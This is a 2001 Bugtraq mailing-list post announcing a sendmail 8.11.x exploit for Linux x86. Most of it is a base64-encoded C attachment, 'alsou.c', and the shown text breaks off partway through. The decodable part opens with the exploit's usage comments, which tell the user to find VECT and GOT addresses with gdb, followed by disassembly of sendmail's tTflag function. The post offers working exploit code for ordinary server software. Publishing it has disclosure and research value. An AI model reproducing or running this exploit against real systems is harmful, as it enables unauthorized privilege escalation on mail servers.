|
Date: Thu, 23 Aug 2001 04:40:02 +0400 (MSD) From: Alexander Yurchenko <grange@rt.mipt.ru> To: bugtraq@securityfocus.com Subject: Another sendmail exploit --0-2055545115-998527202=:29605 Content-Type: TEXT/PLAIN; charset=US-ASCII Here's an another sendmail exploit for linux x86. Alexander Yurchenko aka grange --0-2055545115-998527202=:29605 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="alsou.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.BSO.4.33.0108230440020.29605@disorder.grange.ru> Content-Description: alsou.c Content-Disposition: attachment; filename="alsou.c" LyoNCiAqIGFsc291LmMNCiAqDQogKiBzZW5kbWFpbC04LjExLnggbGludXgg eDg2IGV4cGxvaXQNCiAqDQogKiBUbyB1c2UgdGhpcyBleHBsb2l0IHlvdSBz aG91bGQga25vdyB0d28gbnVtYmVyczogVkVDVCBhbmQgR09ULg0KICogVXNl IGdkYiB0byBmaW5kIHRoZSBmaXJzdDoNCiAqDQogKiAkIGdkYiAtcSAvdXNy L3NiaW4vc2VuZG1haWwgDQogKiAoZ2RiKSBicmVhayB0VGZsYWcgDQogKiBC cmVha3BvaW50IDEgYXQgMHg4MDgwNjI5DQogKiAoZ2RiKSByIC1kMS0xLjEN CiAqIFN0YXJ0aW5nIHByb2dyYW06IC91c3Ivc2Jpbi9zZW5kbWFpbCAtZDEt MS4xDQogKg0KICogQnJlYWtwb2ludCAxLCAweDgwODA2MjkgaW4gdFRmbGFn ICgpDQogKiAoZ2RiKSBkaXNhc3NlbWJsZSB0VGZsYWcNCiAqIC4uLi4uLi4u Li4uLi4NCiAqIDB4ODA4MDZlYSA8dFRmbGFnKzIwMj46IGRlYyAgICAlZWRp DQogKiAweDgwODA2ZWIgPHRUZmxhZysyMDM+OiBtb3YgICAgJWVkaSwweGZm ZmZmZmY4KCVlYnApDQogKiAweDgwODA2ZWUgPHRUZmxhZysyMDY+OiBqbXAg ICAgMHg4MDgwNmY5IDx0VGZsYWcrMjE3Pg0KICogMHg4MDgw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